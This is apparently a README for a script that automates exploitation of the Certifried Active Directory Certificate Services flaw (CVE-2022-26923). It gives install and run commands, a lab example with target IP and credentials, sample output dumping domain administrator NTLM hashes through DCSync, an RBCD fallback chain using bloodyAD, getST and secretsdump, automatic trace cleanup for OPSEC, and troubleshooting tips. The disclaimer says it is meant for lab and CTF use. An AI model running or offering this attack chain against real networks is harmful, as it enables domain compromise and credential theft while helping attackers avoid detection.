
Automated CVE-2022-26923 Exploitation (Certifried)
Automated exploitation of CVE-2022-26923 (Certifried), enabling privilege escalation through abuse of Active Directory Certificate Services (AD CS), with an automatic fallback to Resource-Based Constrained Delegation (RBCD), ultimately dumping the NTLM hash of a domain administrator account.
⚠️ For educational purposes only / Lab / CTF
Do not use in unauthorized environments.
This script automates the following attack chain:
dNSHostName attribute to match the Domain Controllersecretsdump.py using the DC hashbloodyADimpacket-addspngetST.pysecretsdump.py using the Kerberos ticketdNSHostName attribute, causing the CA to issue a certificate for the DC accountpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Tip: Before running, identify the exact CA name and template using:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutThen update
CA_NAMEandTEMPLATEin the script defaults accordingly.
Depending on the environment, one of two paths will succeed:
Method 1 (Classic):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
Method 2 (RBCD Fallback):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
OPSEC cleanup runs automatically at the end (or on Ctrl+C):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
This project is provided for:
The author assumes no liability for any unauthorized or illegal use of this tool.
| Tool | Purpose |
|---|
certipy-ad | Account creation/update, certificate request, PKINIT auth |
bloodyAD | RBCD attribute manipulation (fallback) |
impacket-addspn | SPN addition on the machine account (fallback) |
impacket-getST | S4U2Self + S4U2Proxy ticket request (fallback) |
impacket-secretsdump | DCSync / NTLM hash dump |
openssl | PFX → PEM conversion (fallback) |
| Symptom | Cause | Fix |
|---|
NETBIOS connection timed out | AD CS RPC lag on HTB | Handled automatically (5 retries) |
KDC_ERR_BADOPTION at getST | Missing SPN on COMP$ | Script now uses impacket-addspn before getST |
KDC_ERR_WRONG_REALM at secretsdump | Wrong SPN (LDAP vs cifs) | Script uses cifs/ SPN for getST |
Clock skew too great | Kerberos time drift | sudo ntpdate <DC_IP> before running |
| Machine account deletion fails | Insufficient AD rights (normal) | Script ignores gracefully with ` |
unrecognized arguments with certipy-ad | Incorrect syntax (old certipy format) | Script uses explicit flags -u/-p/-target-ip |